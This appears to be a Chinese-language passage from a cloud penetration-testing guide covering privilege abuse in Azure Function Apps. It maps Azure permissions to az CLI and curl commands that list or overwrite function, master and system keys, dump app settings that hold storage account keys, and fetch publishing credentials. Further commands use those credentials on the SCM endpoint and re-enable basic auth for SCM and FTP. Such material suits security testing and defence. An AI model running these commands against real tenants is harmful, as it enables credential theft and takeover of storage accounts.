Function Apps
查看以下页面以获取更多信息:
Microsoft.Web/sites/host/listkeys/action
此权限允许列出指定函数的函数、主和系统密钥,但不包括主机密钥,使用以下命令:
az functionapp keys list --resource-group <res_group> --name <func-name>
Microsoft.Web/sites/functions/listKeys/action
此权限允许获取指定函数的主密钥:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
此权限允许为指定的函数创建/更新函数密钥:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
此权限允许为指定的函数创建/更新主密钥:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/systemKeys/write
此权限允许为指定的函数创建/更新系统函数密钥:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
此权限允许获取函数的环境变量。在这些变量中,可能会找到默认的环境变量 AzureWebJobsStorage
或 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
,它们实际上包含一个 访问函数的 blob 存储的帐户密钥,具有完全权限。
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
此权限允许列出所有发布配置文件,这基本上包含基本身份验证凭据:
# Gte creds
az functionapp deployment list-publishing-profiles \
--name basicauthenabled \
--resource-group Resource_Group_1 \
--output json
然后,您可以使用这些 基本身份验证凭据访问您的函数应用的 SCM URL 并获取环境变量的值:
# Get env variables values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
请注意,SCM 用户名 通常是字符 "$" 后跟应用名称,因此:$<app-name>
。
这些环境变量包含存储函数应用数据的存储帐户的 AccountKey,允许控制该存储帐户。
如果您看到这些凭据被 REDACTED,那是因为您 需要启用 SCM 基本身份验证选项,为此您需要第二个权限 (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'